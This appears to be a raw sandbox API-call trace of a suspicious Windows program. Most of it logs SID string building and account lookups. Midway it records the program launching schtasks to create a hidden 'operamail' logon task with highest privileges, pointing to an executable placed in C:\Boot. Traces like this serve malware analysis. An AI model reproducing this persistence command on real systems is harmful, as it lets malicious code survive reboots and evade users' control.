[0135.618] memcpy (in: _Dst=0x12d918, _Src=0x107588, _Size=0x40 | out: _Dst=0x12d918) returned 0x12d918 [0135.618] memcpy (in: _Dst=0x12d956, _Src=0x139778, _Size=0x16 | out: _Dst=0x12d956) returned 0x12d956 [0135.618] free (_Block=0x2aefa0) [0135.619] free (_Block=0x2af0c0) [0135.619] GetSidSubAuthority (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x4) returned 0x2ae308 [0135.619] _ultow (in: _Dest=0x3e8, _Radix=15190480 | out: _Dest=0x3e8) returned="1000" [0135.619] malloc (_Size=0x18) returned 0x2af0c0 [0135.619] malloc (_Size=0x18) returned 0x2aefa0 [0135.619] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652") returned 0x29 [0135.619] SysStringLen (param_1="-") returned 0x1 [0135.619] memcpy (in: _Dst=0x107588, _Src=0x12d918, _Size=0x54 | out: _Dst=0x107588) returned 0x107588 [0135.619] memcpy (in: _Dst=0x1075da, _Src=0x139778, _Size=0x4 | out: _Dst=0x1075da) returned 0x1075da [0135.619] free (_Block=0x2aefc0) [0135.619] free (_Block=0x2af0c0) [0135.619] malloc (_Size=0x18) returned 0x2af0c0 [0135.619] malloc (_Size=0x18) returned 0x2aefc0 [0135.619] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-") returned 0x2a [0135.619] SysStringLen (param_1="1000") returned 0x4 [0135.619] memcpy (in: _Dst=0x12d918, _Src=0x107588, _Size=0x56 | out: _Dst=0x12d918) returned 0x12d918 [0135.619] memcpy (in: _Dst=0x12d96c, _Src=0x139778, _Size=0xa | out: _Dst=0x12d96c) returned 0x12d96c [0135.619] free (_Block=0x2aefa0) [0135.619] free (_Block=0x2af0c0) [0135.619] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 0x2e [0135.619] malloc (_Size=0x5e) returned 0x2b08a0 [0135.620] free (_Block=0x2aefc0) [0135.620] malloc (_Size=0x18) returned 0x2aefc0 [0135.620] free (_Block=0x2b08a0) [0135.620] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x0, cchName=0xe7ca94, ReferencedDomainName=0x0, cchReferencedDomainName=0xe7ca90, peUse=0xe7cb98 | out: Name=0x0, cchName=0xe7ca94, ReferencedDomainName=0x0, cchReferencedDomainName=0xe7ca90, peUse=0xe7cb98) returned 0 [0135.621] GetLastError () returned 0x7a [0135.621] malloc (_Size=0x14) returned 0x2af0c0 [0135.621] malloc (_Size=0x16) returned 0x2aefa0 [0135.621] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x2af0c0, cchName=0xe7ca94, ReferencedDomainName=0x2aefa0, cchReferencedDomainName=0xe7ca90, peUse=0xe7cb98 | out: Name="kEecfMwgj", cchName=0xe7ca94, ReferencedDomainName="Q9IATRKPRH", cchReferencedDomainName=0xe7ca90, peUse=0xe7cb98) returned 1 [0135.622] malloc (_Size=0x18) returned 0x2aef80 [0135.622] malloc (_Size=0x18) returned 0x2af000 [0135.622] free (_Block=0x2af0c0) [0135.622] free (_Block=0x2aefa0) [0135.622] free (_Block=0x2affd0) [0135.623] free (_Block=0x2af000) [0135.623] free (_Block=0x2aef80) [0135.623] free (_Block=0x2aefc0) [0135.623] free (_Block=0x2ae2e0) [0135.623] malloc (_Size=0x48) returned 0x2ad3b0 [0135.623] LoadLibraryW (lpLibFileName="userenv.dll") returned 0x7fefc010000 [0135.628] GetProcAddress (hModule=0x7fefc010000, lpProcName="DestroyEnvironmentBlock") returned 0x7fefc011080 [0135.628] GetProcAddress (hModule=0x7fefc010000, lpProcName="CreateEnvironmentBlock") returned 0x7fefc0110b0 [0135.628] malloc (_Size=0x18) returned 0x2aefc0 [0135.628] CreateEnvironmentBlock () returned 0x1 [0135.633] memcpy (in: _Dst=0xe7cd00, _Src=0xe7dad0, _Size=0x68 | out: _Dst=0xe7cd00) returned 0xe7cd00 [0135.634] malloc (_Size=0x18) returned 0x2aef80 [0135.634] CreateProcessAsUserW (in: hToken=0x2d0, lpApplicationName=0x0, lpCommandLine="schtasks.exe /create /tn \"operamail\" /sc ONLOGON /tr \"'C:\\Boot\\pl-PL\\operamail.exe'\" /rl HIGHEST /f", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x1000428, lpEnvironment=0x16ec10, lpCurrentDirectory=0x0, lpStartupInfo=0xe7cd00*(cb=0x68, lpReserved=0x0, lpDesktop="", lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0xe7cba0 | out: lpCommandLine="schtasks.exe /create /tn \"operamail\" /sc ONLOGON /tr \"'C:\\Boot\\pl-PL\\operamail.exe'\" /rl HIGHEST /f", lpProcessInformation=0xe7cba0*(hProcess=0x2f8, hThread=0x248, dwProcessId=0xf44, dwThreadId=0xf48)) returned 1 [0135.638] CloseHandle (hObject=0x2f8) returned 1 [0135.638] CloseHandle (hObject=0x248) returned 1 [0135.639] free (_Block=0x2aef80) [0135.639] DestroyEnvironmentBlock () returned 0x1 [0135.639] malloc (_Size=0x48) returned 0x2ad270 [0135.639] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xe7ca18 | out: lpSystemTimeAsFileTime=0xe7ca18*(dwLowDateTime=0x1fd8eba0, dwHighDateTime=0x1d8a92a)) [0135.639] SetEvent (hEvent=0x1f0) returned 1 [0135.639] CloseHandle (hObject=0x2dc) returned 1 [0135.639] CloseHandle (hObject=0x2d0) returned 1 [0135.665] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x4) returned 0xfd960 [0135.666] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0xfd960, pulNumLanguages=0xe7e2b0 | out: pulNumLanguages=0xe7e2b0) returned 1 [0135.666] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0xfd960 | out: hHeap=0xc0000) returned 1 [0136.196] SetLastError (dwErrCode=0x0) [0136.196] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0xe7e2b8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0xe7e1c0 | out: pulNumLanguages=0xe7e2b8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0xe7e1c0) returned 1 [0136.197] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x8) returned 0xfd950 [0136.197] SetLastError (dwErrCode=0x0) [0136.197] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0xe7e2b8, pwszLanguagesBuffer=0xfd950, pcchLanguagesBuffer=0xe7e1c0 | out: pulNumLanguages=0xe7e2b8, pwszLanguagesBuffer=0xfd950, pcchLanguagesBuffer=0xe7e1c0) returned 1 [0136.197] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x8) returned 0xfd960 [0136.197] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0xfd950 | out: hHeap=0xc0000) returned 1 [0136.197] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x14) returned 0x12f0a0 [0136.197] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x12f0a0, pulNumLanguages=0xe7e2b8 | out: pulNumLanguages=0xe7e2b8) returned 1 [0136.197] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0x12f0a0 | out: hHeap=0xc0000) returned 1 [0136.201] _wcsicmp (_String1="Create", _String2="Create") returned 0 [0136.202] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0136.202] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0136.202] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0136.202] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0136.202] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0136.202] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0136.204] memcpy (in: _Dst=0xe7dad0, _Src=0xe7da50, _Size=0x68 | out: _Dst=0xe7dad0) returned 0xe7dad0 [0136.205] GetCurrentThread () returned 0xfffffffffffffffe [0136.205] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0xb, OpenAsSelf=1, TokenHandle=0xe7cc40 | out: TokenHandle=0xe7cc40*=0x2d0) returned 1 [0136.205] malloc (_Size=0xd8) returned 0x2b35c0 [0136.205] LoadLibraryW (lpLibFileName="ADVAPI32.DLL") returned 0x7fefe7b0000 [0136.205] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaEnumerateTrustedDomains") returned 0x7fefe7f8200 [0136.206] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaQueryInformationPolicy") returned 0x7fefe7d20b0 [0136.206] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaNtStatusToWinError") returned 0x7fefe7f7e40 [0136.206] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaFreeMemory") returned 0x7fefe7be390 [0136.206] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaOpenPolicy") returned 0x7fefe7d0b40 [0136.206] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaClose") returned 0x7fefe7d2040 [0136.206] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="QueryServiceStatusEx") returned 0x7fefe7b7004 [0136.207] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="DuplicateTokenEx") returned 0x7fefe7bd310 [0136.207] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="SetSecurityDescriptorControl") returned 0x7fefe7d3fe4 [0136.207] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="ConvertToAutoInheritPrivateObjectSecurity") returned 0x7fefe7eb828 [0136.207] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="DestroyPrivateObjectSecurity") returned 0x7fefe7bf924 [0136.207] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="CheckTokenMembership") returned 0x7fefe7bd980 [0136.207] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="AddAccessAllowedObjectAce") returned 0x7fefe7eba94 [0136.208] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="AddAccessDeniedObjectAce") returned 0x7fefe7eba30 [0136.208] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="AddAuditAccessObjectAce") returned 0x7fefe7eb9a8 [0136.208] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="SetNamedSecurityInfoW") returned 0x7fefe7b89a0 [0136.208] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="GetNamedSecurityInfoW") returned 0x7fefe7bf990 [0136.208] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="SetNamedSecurityInfoExW") returned 0x7fefe80dc00 [0136.208] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="GetExplicitEntriesFromAclW") returned 0x7fefe7f56a0 [0136.209] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="GetEffectiveRightsFromAclW") returned 0x7fefe7f56f0 [0136.209] malloc (_Size=0x18) returned 0x2aef80 [0136.209] DuplicateTokenEx (in: hExistingToken=0x2d0, dwDesiredAccess=0xb, lpTokenAttributes=0x0, ImpersonationLevel=0x2, TokenType=0x1, phNewToken=0xe7cc48 | out: phNewToken=0xe7cc48*=0x2dc) returned 1 [0136.209] malloc (_Size=0x48) returned 0x2ad220 [0136.209] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xe7ca18 | out: lpSystemTimeAsFileTime=0xe7ca18*(dwLowDateTime=0x202e9d20, dwHighDateTime=0x1d8a92a)) [0136.209] SetEvent (hEvent=0x1f0) returned 1 [0136.214] GetTokenInformation (in: TokenHandle=0x2d0, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xe7cb60 | out: TokenInformation=0x0, ReturnLength=0xe7cb60) returned 0 [0136.214] GetLastError () returned 0x7a [0136.214] malloc (_Size=0x2c) returned 0x2ae2a0 [0136.214] GetTokenInformation (in: TokenHandle=0x2d0, TokenInformationClass=0x1, TokenInformation=0x2ae2a0, TokenInformationLength=0x2c, ReturnLength=0xe7cb60 | out: TokenInformation=0x2ae2a0, ReturnLength=0xe7cb60) returned 1 [0136.214] IsValidSid (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0136.214] GetLengthSid (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x1c [0136.214] malloc (_Size=0x1c) returned 0x2affa0 [0136.214] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0x2affa0, pSourceSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x2affa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0136.214] GetSidIdentifierAuthority (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x2ae2b2 [0136.214] malloc (_Size=0x18) returned 0x2aef80 [0136.214] _ultow (in: _Dest=0x5, _Radix=15190464 | out: _Dest=0x5) returned="5" [0136.214] malloc (_Size=0x18) returned 0x2aefc0 [0136.214] malloc (_Size=0x18) returned 0x2af000 [0136.214] SysStringLen (param_1="S-1-") returned 0x4 [0136.214] SysStringLen (param_1="5") returned 0x1 [0136.214] memcpy (in: _Dst=0x139628, _Src=0x1398f8, _Size=0xa | out: _Dst=0x139628) returned 0x139628 [0136.214] memcpy (in: _Dst=0x139630, _Src=0x1397d8, _Size=0x4 | out: _Dst=0x139630) returned 0x139630 [0136.215] free (_Block=0x2aef80) [0136.215] free (_Block=0x2aefc0) [0136.215] GetSidSubAuthorityCount (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x2ae2b1 [0136.215] GetSidSubAuthority (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x0) returned 0x2ae2b8 [0136.215] _ultow (in: _Dest=0x15, _Radix=15190464 | out: _Dest=0x15) returned="21" [0136.215] malloc (_Size=0x18) returned 0x2aefc0 [0136.215] malloc (_Size=0x18) returned 0x2aef80 [0136.215] SysStringLen (param_1="S-1-5") returned 0x5 [0136.215] SysStringLen (param_1="-") returned 0x1 [0136.215] memcpy (in: _Dst=0x1397d8, _Src=0x139628, _Size=0xc | out: _Dst=0x1397d8) returned 0x1397d8 [0136.215] memcpy (in: _Dst=0x1397e2, _Src=0x1398f8, _Size=0x4 | out: _Dst=0x1397e2) returned 0x1397e2 [0136.215] free (_Block=0x2af000) [0136.215] free (_Block=0x2aefc0) [0136.215] malloc (_Size=0x18) returned 0x2aefc0 [0136.215] malloc (_Size=0x18) returned 0x2af000 [0136.215] SysStringLen (param_1="S-1-5-") returned 0x6 [0136.215] SysStringLen (param_1="21") returned 0x2 [0136.215] memcpy (in: _Dst=0x1398f8, _Src=0x1397d8, _Size=0xe | out: _Dst=0x1398f8) returned 0x1398f8 [0136.215] memcpy (in: _Dst=0x139904, _Src=0x139628, _Size=0x6 | out: _Dst=0x139904) returned 0x139904 [0136.215] free (_Block=0x2aef80) [0136.216] free (_Block=0x2aefc0) [0136.216] GetSidSubAuthority (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x1) returned 0x2ae2bc [0136.216] _ultow (in: _Dest=0xfb7f942f, _Radix=15190464 | out: _Dest=0xfb7f942f) returned="4219442223" [0136.216] malloc (_Size=0x18) returned 0x2aefc0 [0136.216] malloc (_Size=0x18) returned 0x2aef80 [0136.216] SysStringLen (param_1="S-1-5-21") returned 0x8 [0136.216] SysStringLen (param_1="-") returned 0x1 [0136.216] memcpy (in: _Dst=0x139628, _Src=0x1398f8, _Size=0x12 | out: _Dst=0x139628) returned 0x139628 [0136.216] memcpy (in: _Dst=0x139638, _Src=0x1397d8, _Size=0x4 | out: _Dst=0x139638) returned 0x139638 [0136.216] free (_Block=0x2af000) [0136.216] free (_Block=0x2aefc0) [0136.216] malloc (_Size=0x18) returned 0x2aefc0 [0136.216] malloc (_Size=0x18) returned 0x2af000 [0136.216] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0136.216] SysStringLen (param_1="4219442223") returned 0xa [0136.216] memcpy (in: _Dst=0x118268, _Src=0x139628, _Size=0x14 | out: _Dst=0x118268) returned 0x118268 [0136.216] memcpy (in: _Dst=0x11827a, _Src=0x1398f8, _Size=0x16 | out: _Dst=0x11827a) returned 0x11827a [0136.216] free (_Block=0x2aef80) [0136.216] free (_Block=0x2aefc0) [0136.216] GetSidSubAuthority (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x2) returned 0x2ae2c0 [0136.217] _ultow (in: _Dest=0xfbc24a41, _Radix=15190464 | out: _Dest=0xfbc24a41) returned="4223814209" [0136.217] malloc (_Size=0x18) returned 0x2aefc0 [0136.217] malloc (_Size=0x18) returned 0x2aef80 [0136.217] SysStringLen (param_1="S-1-5-21-4219442223") returned 0x13 [0136.217] SysStringLen (param_1="-") returned 0x1 [0136.217] memcpy (in: _Dst=0x1176d8, _Src=0x118268, _Size=0x28 | out: _Dst=0x1176d8) returned 0x1176d8 [0136.217] memcpy (in: _Dst=0x1176fe, _Src=0x139628, _Size=0x4 | out: _Dst=0x1176fe) returned 0x1176fe [0136.217] free (_Block=0x2af000) [0136.217] free (_Block=0x2aefc0) [0136.217] malloc (_Size=0x18) returned 0x2aefc0 [0136.217] malloc (_Size=0x18) returned 0x2af000 [0136.217] SysStringLen (param_1="S-1-5-21-4219442223-") returned 0x14 [0136.217] SysStringLen (param_1="4223814209") returned 0xa [0136.217] memcpy (in: _Dst=0x12d808, _Src=0x1176d8, _Size=0x2a | out: _Dst=0x12d808) returned 0x12d808 [0136.217] memcpy (in: _Dst=0x12d830, _Src=0x139628, _Size=0x16 | out: _Dst=0x12d830) returned 0x12d830 [0136.217] free (_Block=0x2aef80) [0136.217] free (_Block=0x2aefc0) [0136.217] GetSidSubAuthority (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x3) returned 0x2ae2c4 [0136.217] _ultow (in: _Dest=0xe49636b4, _Radix=15190464 | out: _Dest=0xe49636b4) returned="3835049652" [0136.217] malloc (_Size=0x18) returned 0x2aefc0 [0136.218] malloc (_Size=0x18) returned 0x2aef80 [0136.218] SysStringLen (param_1="S-1-5-21-4219442223-4223814209") returned 0x1e [0136.218] SysStringLen (param_1="-") returned 0x1 [0136.218] memcpy (in: _Dst=0x12db38, _Src=0x12d808, _Size=0x3e | out: _Dst=0x12db38) returned 0x12db38 [0136.218] memcpy (in: _Dst=0x12db74, _Src=0x139628, _Size=0x4 | out: _Dst=0x12db74) returned 0x12db74 [0136.218] free (_Block=0x2af000) [0136.218] free (_Block=0x2aefc0) [0136.218] malloc (_Size=0x18) returned 0x2aefc0 [0136.218] malloc (_Size=0x18) returned 0x2af000 [0136.218] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-") returned 0x1f [0136.218] SysStringLen (param_1="3835049652") returned 0xa [0136.218] memcpy (in: _Dst=0x12d808, _Src=0x12db38, _Size=0x40 | out: _Dst=0x12d808) returned 0x12d808 [0136.218] memcpy (in: _Dst=0x12d846, _Src=0x139628, _Size=0x16 | out: _Dst=0x12d846) returned 0x12d846 [0136.218] free (_Block=0x2aef80) [0136.218] free (_Block=0x2aefc0) [0136.218] GetSidSubAuthority (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x4) returned 0x2ae2c8 [0136.218] _ultow (in: _Dest=0x3e8, _Radix=15190464 | out: _Dest=0x3e8) returned="1000" [0136.218] malloc (_Size=0x18) returned 0x2aefc0 [0136.218] malloc (_Size=0x18) returned 0x2aef80 [0136.218] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652") returned 0x29 [0136.219] SysStringLen (param_1="-") returned 0x1 [0136.219] memcpy (in: _Dst=0x12db38, _Src=0x12d808, _Size=0x54 | out: _Dst=0x12db38) returned 0x12db38 [0136.219] memcpy (in: _Dst=0x12db8a, _Src=0x139628, _Size=0x4 | out: _Dst=0x12db8a) returned 0x12db8a [0136.219] free (_Block=0x2af000) [0136.219] free (_Block=0x2aefc0) [0136.219] malloc (_Size=0x18) returned 0x2aefc0 [0136.219] malloc (_Size=0x18) returned 0x2af000 [0136.219] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-") returned 0x2a [0136.219] SysStringLen (param_1="1000") returned 0x4 [0136.219] memcpy (in: _Dst=0x12d808, _Src=0x12db38, _Size=0x56 | out: _Dst=0x12d808) returned 0x12d808 [0136.219] memcpy (in: _Dst=0x12d85c, _Src=0x139628, _Size=0xa | out: _Dst=0x12d85c) returned 0x12d85c [0136.219] free (_Block=0x2aef80) [0136.219] free (_Block=0x2aefc0) [0136.219] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 0x2e [0136.219] malloc (_Size=0x5e) returned 0x2b08a0 [0136.219] free (_Block=0x2af000) [0136.219] malloc (_Size=0x18) returned 0x2af000 [0136.220] free (_Block=0x2b08a0) [0136.220] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x0, cchName=0xe7ca84, ReferencedDomainName=0x0, cchReferencedDomainName=0xe7ca80, peUse=0xe7cb90 | out: Name=0x0, cchName=0xe7ca84, ReferencedDomainName=0x0, cchReferencedDomainName=0xe7ca80, peUse=0xe7cb90) returned 0 [0136.221] GetLastError () returned 0x7a [0136.221] malloc (_Size=0x14) returned 0x2aefc0 [0136.221] malloc (_Size=0x16) returned 0x2aef80 [0136.221] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x2aefc0, cchName=0xe7ca84, ReferencedDomainName=0x2aef80, cchReferencedDomainName=0xe7ca80, peUse=0xe7cb90 | out: Name="kEecfMwgj", cchName=0xe7ca84, ReferencedDomainName="Q9IATRKPRH", cchReferencedDomainName=0xe7ca80, peUse=0xe7cb90) returned 1 [0136.222] malloc (_Size=0x18) returned 0x2aefa0 [0136.222] malloc (_Size=0x18) returned 0x2af0c0 [0136.222] free (_Block=0x2aefc0) [0136.222] free (_Block=0x2aef80) [0136.222] free (_Block=0x2affa0) [0136.223] free (_Block=0x2af0c0) [0136.223] free (_Block=0x2aefa0) [0136.223] free (_Block=0x2af000) [0136.223] free (_Block=0x2ae2a0) [0136.223] GetVersionExW (in: lpVersionInformation=0xe7cd70*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa746, dwMinorVersion=0x109fb0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0xe7cd70*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0136.223] GetTokenInformation (in: TokenHandle=0x2d0, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xe7cbf8 | out: TokenInformation=0x0, ReturnLength=0xe7cbf8) returned 0 [0136.223] GetLastError () returned 0x7a [0136.223] malloc (_Size=0x2c) returned 0x2ae2e0 [0136.223] GetTokenInformation (in: TokenHandle=0x2d0, TokenInformationClass=0x1, TokenInformation=0x2ae2e0, TokenInformationLength=0x2c, ReturnLength=0xe7cbf8 | out: TokenInformation=0x2ae2e0, ReturnLength=0xe7cbf8) returned 1 [0136.224] IsValidSid (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0136.224] GetLengthSid (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x1c [0136.224] malloc (_Size=0x1c) returned 0x2affa0 [0136.224] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0x2affa0, pSourceSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x2affa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0136.224] GetSidIdentifierAuthority (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x2ae2f2 [0136.224] malloc (_Size=0x18) returned 0x2af000 [0136.224] _ultow (in: _Dest=0x5, _Radix=15190480 | out: _Dest=0x5) returned="5" [0136.224] malloc (_Size=0x18) returned 0x2aefa0 [0136.224] malloc (_Size=0x18) returned 0x2af0c0 [0136.224] SysStringLen (param_1="S-1-") returned 0x4 [0136.224] SysStringLen (param_1="5") returned 0x1 [0136.224] memcpy (in: _Dst=0x1398f8, _Src=0x1397d8, _Size=0xa | out: _Dst=0x1398f8) returned 0x1398f8 [0136.224] memcpy (in: _Dst=0x139900, _Src=0x139628, _Size=0x4 | out: _Dst=0x139900) returned 0x139900 